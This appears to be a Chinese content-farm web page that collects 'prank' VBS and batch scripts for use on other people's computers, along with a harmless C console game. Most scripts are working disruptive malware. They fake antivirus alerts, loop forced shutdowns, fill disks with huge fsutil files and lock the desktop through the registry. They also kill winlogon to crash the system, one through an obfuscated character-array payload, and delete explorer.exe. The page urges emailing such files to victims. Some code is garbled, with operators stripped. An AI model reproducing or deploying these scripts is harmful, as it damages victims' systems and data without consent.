今天給各位分享電腦惡搞代碼大全圖教的知識，其中也會(huì)對電腦指令代碼惡搞大全進(jìn)行解釋，如果能碰巧解決你現(xiàn)在面臨的問題，別忘了關(guān)注本站，現(xiàn)在開始吧！

本文目錄一覽：

• 1、有沒有一些惡搞別人的vbs代碼
• 2、求一段電腦整蠱代碼
• 3、求一些惡搞程序的C語言源代碼
• 4、惡搞電腦病毒代碼有哪些？
• 5、電腦裝逼代碼
• 6、求大量VBS整人代碼.

有沒有一些惡搞別人的vbs代碼

自編vbs僅供娛樂?。?！

set qstart = wscript.CreateObject("wscript.shell")

set qweb = CreateObject("Wscript.Shell")

set qwrite = CreateObject("scripting.filesystemobject")

set qsay = CreateObject("sapi.spvoice")

qstart.run "D:\病毒BGM.mp3" '《江南皮革廠倒閉了》

msgbox "您的電腦已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"

qstart.run "cmd.exe /c start appwiz.cpl"

qstart.run "cmd.exe /c start bthprops.cpl"

qstart.run "cmd.exe /c start calc.exe"

qstart.run "cmd.exe /c start cleanmgr.exe"

qstart.run "cmd.exe /c start cmd.exe"

qstart.run "cmd.exe /c start colorcpl.exe"

qstart.run "cmd.exe /c start control.exe"

qstart.run "cmd.exe /c start cttune.exe"

qstart.run "cmd.exe /c start desk.cpl"

qstart.run "cmd.exe /c start dfrgui.exe"

qstart.run "cmd.exe /c start dxdiag.exe"

qstart.run "cmd.exe /c start FileHistory.exe"

qstart.run "cmd.exe /c start Firewall.cpl"

qstart.run "cmd.exe /c start Fondue.exe"

qstart.run "cmd.exe /c start fontview.exe"

qstart.run "cmd.exe /c start fsquirt.exe"

qstart.run "cmd.exe /c start hdwwiz.cpl"

qstart.run "cmd.exe /c start inetcpl.cpl"

qstart.run "cmd.exe /c start intl.cpl"

qstart.run "cmd.exe /c start irprops.cpl"

qstart.run "cmd.exe /c start joy.cpl"

qstart.run "cmd.exe /c start LaunchTM.exe"

qstart.run "cmd.exe /c start Magnify.exe"

qstart.run "cmd.exe /c start main.cpl"

qstart.run "cmd.exe /c start mblctr.exe"

qstart.run "cmd.exe /c start mmsys.cpl"

qstart.run "cmd.exe /c start msinfo32.exe"

qstart.run "cmd.exe /c start mspaint.exe"

qstart.run "cmd.exe /c start ncpa.cpl"

qstart.run "cmd.exe /c start notepad.exe"

qstart.run "cmd.exe /c start powercfg.cpl"

qstart.run "cmd.exe /c start RTSnMg64.cpl"

qstart.run "cmd.exe /c start SnippingTool.exe"

qstart.run "cmd.exe /c start sysdm.cpl"

qstart.run "cmd.exe /c start TabletPC.cpl"

qstart.run "cmd.exe /c start telephon.cpl"

qstart.run "cmd.exe /c start timedate.cpl"

qstart.run "cmd.exe /c start write.exe"

qstart.run "cmd.exe /c start wscript.exe"

qstart.run "cmd.exe /c start wscui.cpl"

qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"

qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"

qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"

qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"

qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"

qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"

qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"

wscript.sleep 25000

qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司溫馨提醒：因?yàn)檫@個(gè)游戲涉及非法內(nèi)容，所以您的電腦將在60秒后自動(dòng)關(guān)機(jī)"" ",0,true

qstart.run "cmd.exe /c echo 滾|clip"

A = INPUTBOX ("說！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滾”已復(fù)制到剪貼板，可以粘貼。）","360 Defender","不是",8000,7000)

IF A = "是" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "好的，現(xiàn)在您可以下載360安全衛(wèi)士來殺毒了。",vbokonly,"360 Defender"

do

qweb.run""

loop

ELSEIF A = "不是" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么這么懶呢？",vbokonly+vbQuestion,"360 Defender"

msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是時(shí)候鍛煉鍛煉了",vbokonly+vbInformation,"360 Defender"

msgbox "游戲規(guī)則：在開始后，請及時(shí)點(diǎn)擊 “確定” 鍵來取消關(guān)機(jī)。"+chr(13)+"現(xiàn)在您可以把這個(gè)窗口x掉，或者點(diǎn)擊確定，來開始游戲。",vbokonly+vbInformation,"360 Defender"

do

qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true

msgbox "取消關(guān)機(jī)",vbokonly,"360 Defender"

qstart.run "cmd.exe /c shutdown -a",0,true

qweb.run""

qweb.run""

qweb.run""

loop

ELSEIF A = "" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "周鴻祎表示無語。"+chr(13)+chr(13)+chr(13)+"這樣是不可能解決問題的",vbokonly,"360 Defender"

msgbox "自己探尋吧",vbokonly,"360 Defender"

do

qstart.run "cmd.exe /c shutdown -s -t 5",0,true

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd.exe /c shutdown -a",0,true

loop

ELSEIF A = "滾" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "emmmmmmmm",vbokonly,"360 Defender"

set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)

qwriteb.WriteLine "wscript.CreateObject(" chr(34) "wscript.shell" chr(34) ").run " chr(34) "D:\1.vbs" chr(34)

qwriteb.WriteLine "msgbox " chr(34) "滾" chr(34) ",vbokonly+vbinformation," chr(34) "360 Defender" chr(34)

qwriteb.close

qwrite.movefile "D:\1.txt","D:\1.vbs"

qstart.run "D:\1.vbs"

ELSE

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "由于您在說廢話，但是您一定不想浪費(fèi)時(shí)間說廢話，所以該電腦對您有害。浪費(fèi)別人時(shí)間就是謀財(cái)害命 ( 魯迅 ) 。360積極維護(hù)您的財(cái)產(chǎn)權(quán)和生命健康權(quán)，決定不砸掉您的電腦。"+chr(13)+chr(13)+"那現(xiàn)在先把C盤給抹咯！",vbokonly+vbInformation,"360 Defender"

qsay.speak ("在抹掉C盤的過程中，您的電腦將會(huì)重啟數(shù)次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")

qweb.run""

qweb.run""

qweb.run""

qweb.run""

qweb.run""

qweb.run""

qweb.run""

qweb.run""

qweb.run""

qweb.run""

qweb.run""

qweb.run""

qweb.run""

qweb.run""

qstart.run "cmd.exe /c shutdown -r -t 5",0,true

END IF

求一段電腦整蠱代碼

set ws = wscript.createobject("wscript.shell")

if msgbox("純屬娛樂!just for fun!",4132,"絕對無毒無害!你準(zhǔn)備好了嗎?")=vbyes then

msgbox"OK!"

else

ws.popup"那也沒辦法!接招吧!",3

ws.popup"等會(huì)的解除密碼在網(wǎng)盤里，自己下載,祝你愉快!",3

end if

ws.run" "

ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"

wscript.sleep 500

ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000

ws.run "explorer.exe",vbhide : wscript.sleep 6000

do

a=inputbox("請輸入密碼解除","注意,重啟電腦是沒有用的!")

if a="我真笨啊" then

msgbox"密碼正確!",vbinformation

ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000000","REG_DWORD"

wscript.sleep 500

ws.run "taskkill /f /im explorer.exe",vbhide

wscript.sleep 2000

ws.run "explorer.exe",vbhide

msgbox"解除成功!"

exit do

else

msgbox"看你不下載，密碼錯(cuò)誤!請重試 !"

end if

loop

求一些惡搞程序的C語言源代碼

一個(gè)打飛機(jī)的游戲，DEVc++編譯通過：

#include stdio.h

#include conio.h

#include stdlib.h

#include windows.h

#include time.h

#define zlx 10 ? //增量坐標(biāo)(x)讓游戲框不靠邊

#define zly 3 ?? //增量坐標(biāo)(y)讓游戲框不靠邊

#define W 26 ? //游戲框的寬度

#define H 24 ? //游戲框的高度

int jiem[22][22]={0}, wj=10; ? //界面數(shù)組, 我機(jī)位置(初值為10)

int speed=4,density=30, score=0,death=0;? //敵機(jī)速度, 敵機(jī)密度, 玩家成績,死亡次數(shù)

int m=0,n=0; ? // m,n是控制敵機(jī)的變量

void gtxy (int x, int y) ? //控制光標(biāo)位置的函數(shù)

{ COORD zb; ? //zb代指坐標(biāo)

zb.X = x;? zb.Y = y;

SetConsoleCursorPosition ( GetStdHandle (STD_OUTPUT_HANDLE), zb );

}

void?Color(int?a) ? //設(shè)定顏色的函數(shù)(a應(yīng)為1-15)

{ SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE), a ); }

void yinc(int x=1,int y=0) ? //隱藏光標(biāo)的函數(shù)

{ CONSOLE_CURSOR_INFO ?gb={x,y};? ?//gb代指光標(biāo), y設(shè)為0即隱藏

SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), gb);

?}

void csh( )? //初始化函數(shù)

{ int i;

Color(7);

gtxy(zlx,zly); printf("╔");? gtxy(zlx+W-2,zly); printf("╗");? //左上角和右上角的框角

gtxy(zlx,zly+H-1); printf("╚"); gtxy(zlx+W-2,zly+H-1); printf("╝"); //下邊兩框角

for(i=2;iW-2;i+=2) {gtxy(zlx+i,zly);? printf("═"); }? ????//打印上橫框

for(i=2;iW-2;i+=2) {gtxy(zlx+i,zly+H-1); printf("═"); } ?//打印下橫框

for(i=1;iH-1;i++) { gtxy(zlx,zly+i); ?printf("║"); }? ?????//打印左豎框

for(i=1;iH-1;i++) {gtxy(zlx+W-2,zly+i); printf("║"); }? //打印右豎框

Color(14); gtxy(19,2);? printf("殲滅敵機(jī)");? Color(10);

gtxy(37,5); printf("設(shè)置：Esc ");

gtxy(37,7); printf("發(fā)射：↑ ");

gtxy(37,9); printf("控制：← → ");

gtxy(37,11);printf("得分：%d",score);

gtxy(37,13); printf("死亡：%d",death);

yinc(1,0);

}

void qcjm( ) ?//清除界面函數(shù)

{ int i,j;

for(i=0;iH-2;i++)

for(j=0;jW-4;j++){gtxy(zlx+2+j,zly+1+i); printf(" ");}

}

void feiji( ) ?//飛機(jī)移動(dòng)函數(shù)

{ int i,j;

for(i=21;i=0;i--)? //從底行往上是為了避免敵機(jī)直接沖出數(shù)組

? for(j=0;j22;j++)

? ? ?{if(i==21jiem[i][j]==3)?jiem[i][j]=0;? //底行賦值0 以免越界

? ? ? ?if(jiem[i][j]==3)?jiem[i][j]=0, jiem[i+1][j]=3;

? ? ?}

if(jiem[20][wj]==3jiem[21][wj]==1) death++;

}

void zidan( ) ?//子彈移動(dòng)函數(shù)

{ int i,j;

for(i=0;i22;i++)

??for(j=0;j22;j++)

? ? ?{ if(i==0jiem[i][j]==2) jiem[i][j]=0;

? ? ?? if(jiem[i][j]==2) {?if(jiem[i-1][j]==3) score+=100,printf("\7");

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? jiem[i][j]=0,jiem[i-1][j]=2; }

? ? ?}

}

void print( ?) ?//輸出界面函數(shù)

{int i,j;

qcjm( );

for(i=0;i22;i++)

for(j=0;j22;j++)

{ gtxy(12+j,4+i);

?? if(jiem[i][j]==3) {Color(13);printf("□");}

?? if(jiem[i][j]==2) {Color(10);printf(".");}

?? if(jiem[i][j]==1) {Color(10);printf("■");}

}

gtxy(37,11); Color(10); printf("得分：%d",score);

gtxy(37,13); printf("死亡：%d",death);

}

void setting( )? //游戲設(shè)置函數(shù)

{ qcjm( );

gtxy(12,4);printf("選擇敵機(jī)速度:");

gtxy(12,5);printf("? 1.快 2.中 3.慢");

switch(getche( ))

? ? {case '1': speed=2; break;

? ? ?case '2': speed=4; break;

? ? ?case '3': speed=5; break;

? ? ?default: gtxy(12,6);printf("? 錯(cuò)誤！默認(rèn)值");

? ?}

gtxy(12,7);printf("選擇敵機(jī)密度:");

gtxy(12,8);printf("? 1.大 2.中 3.小");

switch(getche( ))

? ? ?{case '1': density=20; break;

? ? ? case '2': density=30;?break;

? ? ? case '3': density=40; break;

? ? ? default: gtxy(12,9); printf("? 錯(cuò)誤！默認(rèn)值");

? ???}

for(int i=0;i22;i++)

?for(int j=0;j22;j++) jiem[i][j]=0;

jiem[21][wj=10]=1;? jiem[0][5]=3;

gtxy(12,10); printf("? 按任意鍵保存...");

getch( );

qcjm( );

}

void run( ) ?//游戲運(yùn)行函數(shù)

{ jiem[21][wj]=1;? //值為1代表我機(jī)(2則為子彈)

jiem[0][5]=3;? ?//值為3代表敵機(jī)

SetConsoleTitle("殲滅敵機(jī)"); ?//設(shè)置窗口標(biāo)題

while(1)

{?if (kbhit( )) ? //如有鍵按下，控制我機(jī)左右移動(dòng)、發(fā)射或進(jìn)行設(shè)定

? ? { int key;

? ? ? if((key=getch( ))==224) key=getch( );

? ?? switch(key)

? ? ?? {case 75: if(wj0) jiem[21][wj]=0,jiem[21][--wj]=1; break;

? ? ? ? case 77: if(wj20)?jiem[21][wj]=0,jiem[21][++wj]=1;?break;

? ? ? ? case 72: jiem[20][wj]=2; break;

? ? ?? case 27: setting( );

? ? ??}

?? }

?? if(++n%density==0) ? //控制產(chǎn)生敵機(jī)的速度

? ? ?{ n=0;srand((unsigned)time(NULL));

? ? ? ?jiem[0][rand( )%20+1]=3;

? ? ?}

? ??if(++m%speed==0) { feiji( ); m=0; } ?//控制敵機(jī)移動(dòng)速度(相對子彈而言)

? ? zidan( ); ? //子彈移動(dòng)

? ? print( ); ? //輸出界面

? ? Sleep(120); ? //延時(shí)120毫秒

? }

}

int main( )

{ csh( );

? run( );

? return 0;

}

惡搞電腦病毒代碼有哪些？

有時(shí)候想和朋友們玩玩，搞點(diǎn)惡搞電腦病毒給他們，要怎么辦呢?下面由我給你做出詳細(xì)的惡搞電腦病毒代碼介紹!希望對你有幫助!

惡搞電腦病毒代碼介紹一：

首先在電腦上新建一個(gè)TXT文檔

然后把下面這段代碼輸入進(jìn)去

On Error Resume Next

Dim WSHshellA

Set WSHshellA = wscript.CreateObject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是豬，不喊就馬上讓你關(guān)機(jī)，不信，試試···"" ", 0, True

Dim a

Do While (a "我是豬")

a = InputBox("快說我是豬,不叫就不關(guān)機(jī)，快點(diǎn)，說 ", "說不說", "不說", 8000, 7000)

MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"

Loop

MsgBox Chr(13) + Chr(13) + Chr(13) + "早說就行了嘛!好,不關(guān)了"

WSHshella.run "cmd.exe /c shutdown -a"

然后保存

然后把這個(gè)文本文檔的后綴改為vbs 也就是說新建的文本文檔本來是.TXT的后綴，

你要修改為.VBS的后綴

惡搞電腦病毒代碼介紹二：

新建一個(gè)文本文檔，然后插入hhjsfdusnjwindow,,hffjfiukjei 508963kfdjksfjjkk,最后插入圖片，如果對方有郵箱，就發(fā)給他

他一打開就會(huì)出現(xiàn)你插入的圖片，然后出現(xiàn) 藍(lán)屏 (效果7—10分鐘)(注：做好病毒后不要打開，否則會(huì)出現(xiàn)以上說的情況)

惡搞電腦病毒代碼介紹三：

新建一個(gè)文本文檔(.txt)，要復(fù)制以下代碼：

@echo off

color 4

tskill explorer

echo .

echo .

echo .

echo .

echo 警告：在病毒執(zhí)行期間禁止關(guān)閉電源，

echo 否則你就和你心愛的電腦說

echo .

echo . BYE-BYE

echo .

echo Computer system crash!

echo .

echo .

echo I am a virus, my name is Ghost.

echo 我是魔鬼病毒，在這個(gè)墮落的世界上蘇醒了。

echo .

echo . Warning! CPU has been changed please re-enter CPU settings

echo. in the CMOS setuo and remember to save before quit.

echo. Secondary IDE channel no 80 conductor cable installed.

set /p select=:)

if "%select%"=="" goto start

:start

shutdown -r -t 10 -c "您的計(jì)算機(jī)上帶有魔鬼病毒，今天是它的發(fā)作日期。病毒已經(jīng)破壞了您的系統(tǒng)，您的計(jì)算機(jī)將在10秒鐘后重啟。"

::結(jié)束

再另存為：名字.bat 你要記住"名字"后面要加".bat"

就可以了，沒有任何破壞性，嚇嚇人。

你可以試試看看效果。

電腦裝逼代碼

打開電腦在桌面點(diǎn)擊：鼠標(biāo)右鍵新建文本文檔如圖：

請點(diǎn)擊輸入圖片描述

然后打開TXT文檔 如圖：

請點(diǎn)擊輸入圖片描述

然后輸入代碼：tree d:

請點(diǎn)擊輸入圖片描述

然后點(diǎn)擊：文件保存保存后返回即可 如圖：

請點(diǎn)擊輸入圖片描述

返回后鼠標(biāo)右鍵點(diǎn)擊txt文檔找到重命名 如圖：

請點(diǎn)擊輸入圖片描述

請點(diǎn)擊輸入圖片描述

然后點(diǎn)擊重命名把重命名修改成學(xué)校機(jī)房裝逼代碼.bat 如圖：

請點(diǎn)擊輸入圖片描述

修改后打開文檔，就可以了

請點(diǎn)擊輸入圖片描述

求大量VBS整人代碼.

第一個(gè) do msgbox "hi" loop 第二個(gè) Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop 第三個(gè) if MsgBox("對不起,您灌水太多需要重新啟動(dòng)計(jì)算機(jī)。"chr(10)"確定要重啟嗎？",vbOKCancel+vbInformation,"重新啟動(dòng)計(jì)算機(jī)")=vbCancel then msgbox " 系統(tǒng)將立刻重起wow ~_^",,"你上當(dāng)了?。? Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true end if 第四個(gè) '這個(gè)很強(qiáng)悍的vbs,藍(lán)屏 strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,- 13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103 ,98,111,120,32,34,-15133,89,-13899,-20026,- 20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,- 14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,- 13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,- 24147,63,34,44,54,52,44,34,-11825,-10536,-16721,- 18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1 01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116, 46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115, 116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1 03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101 ,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runnerchr(strs(i)) next Execute runner 第五個(gè) if MsgBox("你是豬頭嗎？",vbYesNo,"提示")=vbyes then msgbox "你SB啊!" else msgbox "還不承認(rèn)!! 作為懲罰，藍(lán)屏一下，你馬上掛了#￥！@#￥%@……#……?",64,"嚴(yán)重警告!!!!!!!!!" Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200 ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1nul 2nul",vbhide end if 第六個(gè) Set ws = CreateObject("Wscript.Shell") ws.run "cmd.exe /c call calc.exe",0 第七個(gè) set ws=CreateObject("Wscript.Shell") ws.run "cmd.exe /c taskkill /f /im explorer.exe",0 wscript.sleep 900 ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" wscript.sleep 1200 ws.run "cmd.exe /c del /q /f %windir%\explorer.exe" 第八個(gè) Set ws=WScript.CreateObject("WScript.Shell") ws.popup"大家好，我就是改變社會(huì)風(fēng)氣，風(fēng)魔萬千少女，刺激電影市道，提高年輕人內(nèi)涵，",10,"閃亮登場",64 ws.popup"玉樹臨風(fēng)，風(fēng)度翩翩的……“咕?！緡！?，不好意思，我內(nèi)急先閃了，再見！",15,"farewell",64 wscript.sleep 100000 ws.popup"發(fā)現(xiàn)重要windows更新未安裝，系統(tǒng)將自動(dòng)下載更新并安裝",10 ws.popup"正在下載windows更新……",12 wscript.sleep 10000 ws.popup"windows更新已下載完畢，正在安裝更新……",12 wscript.sleep 3000 msgbox"系統(tǒng)檢測到WINDOWS更新中攜帶有不明軟件 comcontroler.exe ，并在強(qiáng)行嵌入你的電腦",4132,"是否對其進(jìn)行掃描？" msgbox"軟件名：comcontroler.exe "vbcrlf""vbcrlf" 大?。?.21MB "vbcrlf""vbcrlf" 發(fā)行者：幻想丶永恒（403746401）"vbcrlf""vbcrlf" 安全狀況：有病毒",vbinformation msgbox"comcontroler.exe存在不安全因素",4132,"是否阻止其安裝" msgbox"阻止失敗，請檢查防火墻是否開啟" wscript.sleep 15000 ws.popup"windows更新安裝成功！",vbinfmation,20 msgbox"您的電腦可能已被入侵，請盡快修改您的QQ密碼及其他機(jī)密資料,以免QQ被盜或丟失資料",vbinformation ws.popup"哈哈，我已經(jīng)控制了你的電腦！",12,"很高興見到你",64 ws.popup"不信？我用你的電腦打開我的QQ空間給你看看",10 ws.run" " msgbox"警告：為了您的電腦安全，請盡快安裝使用殺毒軟件對系統(tǒng)進(jìn)行全面殺毒",vbinformation ws.popup"我再打開中國神泣官方網(wǎng)站",10 ws.run" " ws.popup"現(xiàn)在相信了吧？我再打開你的記事本給你寫封英語信",20 ws.popup"記事本會(huì)被打開并最大化，這時(shí)你不要?jiǎng)?，千萬別把目標(biāo)轉(zhuǎn)移到其他窗口，耐心看我把信寫完。否則引起系統(tǒng)混亂我可不負(fù)責(zé)！" ws.run "notepad",3 : wscript.sleep 2000 verybat=split("dear ,friends ,~, nice ,to ,meet ,you ,i ,am ,so ,sorry ,that ,i ,controled ,your ,computer, without ,you ,allowing,~,please ,excuse ,me ,i ,want ,to ,say ,to ,you ,today,~,my ,friends ,so ,even ,through ,we ,face ,the ,difficulties ,of ,today ,and ,tomorrow,~,still ,have ,a ,dream ,it ,is ,a ,dream ,deeply ,rooted ,in ,our ,common ,dreams ,~,Maybe ,it's ,true ,that ,we ,do ,not ,know ,what ,we ,have ,got ,until ,we ,lose ,it,~,but ,it ,is ,also ,true ,that ,we ,do ,not ,know ,what ,we ,have ,been ,missing ,until ,it ,arrives ,.see ,you ,later ,~,with ,the ,best ,wishes,~, yours,~, lhj",",") 第九個(gè) for each wind in verybat ws.sendkeys wind wscript.sleep 500 next ws.popup"唉:-(( ⊙ o ⊙ )！呀，我好累啊，我下了 886",30 ws.popup"下機(jī)可不能忘了關(guān)QQ 我吧QQ關(guān)了哈",8 ws.run "taskkill /f /im qq.exe" ws.popup"你還要上吧 慢慢玩哦",27 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 4 WSHshell.SendKeys "%{F4}" next ws.run"shutdown -s -t 1000600" wscript.sleep 2000 dim a do a=inputbox("請輸入解除關(guān)機(jī)密碼") if a="403746401" then ws.run"shutdown -a" msgbox"密碼驗(yàn)證成功，enjoy the best!" exit do else msgbox"密碼驗(yàn)證失敗，請輸入解除關(guān)機(jī)密碼：403746401 ",vbretrycancel end if loop ws.popup"哈哈 被嚇到了吧 好玩吧？你以為真的是病毒？呵呵O(∩_∩)O~，我還沒那么打本事能做出病毒來！",57 ws.popup"(\(^o^)/~ 好啦，跟你開了個(gè)小小玩笑。你也可以把這個(gè)文件發(fā)給其他人，耍耍別人。呵呵^_^",62 wscript.sleep 8900 do until i=10 i=i+1 msgbox "CPU溫度過高，系統(tǒng)出現(xiàn)嚴(yán)重錯(cuò)誤！，請結(jié)束所有應(yīng)用程序讓CPU降溫！",16+4096,"系統(tǒng)提示：" wscript.sleep 1000*45 loop 第十個(gè) set sh=wscript.createobject("wscript.shell") sh.run"shutdown -s -t 332" 第十一個(gè) dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 40 WSHshell.SendKeys "%{F4}" next 第十二個(gè) dim a,b,c,s Set fs=CreateObject("Scripting.FileSystemObject") name = WScript.ScriptName fullname = WScript.ScriptFullName path = Replace(fullname,name,"") a=inputbox("請?jiān)趯υ捒蛑刑顚懩阏鎸?shí)的姓名！"vbcrlf""vbcrlf"稍后將會(huì)給你意外的驚喜！！ "vbcrlf""vbcrlf"不信你可以試試看?。?！"vbcrlf""vbcrlf"最好是中文名···","芮洲提示：","請?jiān)诖溯斎肽愕拿?) If a = ""Then WScript.Quit End If MyVar=MsgBox ("你的名字叫："a" ",vbYesNo + vbExclamation,"芮洲提示：") If MyVar=vbYes Then ElseIf MyVar=vbNo Then a=inputbox("請?jiān)趯υ捒蛑刑顚懩阏鎸?shí)的姓名！"vbcrlf""vbcrlf"稍后將會(huì)給你意外的驚喜！！ "vbcrlf""vbcrlf"不信你可以試試看！?。?vbcrlf""vbcrlf"最好是中文名···","芮洲提示：","請?jiān)诖溯斎肽愕拿?) If a = ""Then WScript.Quit End If End If wscript.sleep 1000b=inputbox("尊敬的 "a" 你好！"vbcrlf""vbcrlf"請?zhí)顚懸幌履愕膼酆谩?只需填一個(gè)哦！)","芮洲提示：","請?jiān)诖溯斎肽愕膼酆?) If b = ""Then WScript.Quit End If wscript.sleep 1000c = inputbox ("請?jiān)谙旅鎸υ捒蛑休斎肽愕某錾鶾年 